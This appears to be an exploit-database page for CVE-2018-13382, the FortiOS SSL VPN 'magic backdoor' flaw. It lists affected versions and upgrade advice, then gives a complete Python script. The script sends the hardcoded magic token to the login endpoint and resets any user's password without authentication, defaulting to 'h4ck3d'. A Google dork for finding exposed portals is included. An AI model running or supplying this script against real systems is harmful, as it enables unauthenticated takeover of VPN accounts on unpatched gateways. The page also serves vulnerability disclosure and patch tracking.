header-logo
Suggest Exploit
vendor:
FortiOS
by:
Ricardo Longatto
7.5
CVSS
HIGH
Magic backdoor
287
CWE
Product Name: FortiOS
Affected Version From: 6.0.0
Affected Version To: 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10
Patch Exists: YES
Related CWE: CVE-2018-13382
CPE: a:fortinet:fortios
Other Scripts: N/A
Platforms Tested: 6.0.4
2020

Fortinet FortiOS 6.0.4 – Unauthenticated SSL VPN User Password Modification

This exploit allow change users password from SSLVPN web portal by exploiting the Magic backdoor vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10.

Mitigation:

Upgrade to FortiOS 6.0.5 or later, 5.6.9 or later, or 5.4.11 or later.
Source

Exploit-DB raw data:

# Exploit Title: Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification
# Google Dork: intitle:"Please Login" "Use FTM Push"
# Date: 15/11/2020
# Exploit Author: Ricardo Longatto
# Details: This exploit allow change users password from SSLVPN web portal
# Vendor Homepage: https://www.fortinet.com/
# Version: Exploit to Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10.
# Tested on: 6.0.4
# NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-13382
# CVE : CVE-2018-13382
# Credits: Vulnerability by Meh Chang and Orange Tsai.

#!/usr/bin/env python

import requests, urllib3, sys, re, argparse
urllib3.disable_warnings()

menu = argparse.ArgumentParser(description = "[+] Exploit FortiOS Magic backdoor - CVE-2018-13382 [+]")
menu.add_argument('-t', metavar='Target/Host IP', required=True)
menu.add_argument('-p', metavar='Port', required=True)
menu.add_argument('-u', metavar='User', required=True)
menu.add_argument('--setpass', metavar='SetNewPass', default='h4ck3d', help='set the password for user, if you not set, the default password will be set to h4ck3d')
op = menu.parse_args()

host = op.t
port = op.p
user = op.u
setpass = op.setpass

url = "https://"+host+":"+port+"/remote/logincheck"
exploit = {'ajax':'1','username':user,'magic':'4tinet2095866','credential':setpass}
r = requests.post(url, verify=False, data = exploit)

if re.search("/remote/hostcheck_install",r.text):
    print "[+] - The new password to ["+user+"] is "+setpass+" <<<< [+]"
else:
    print "Exploit Failed. :/"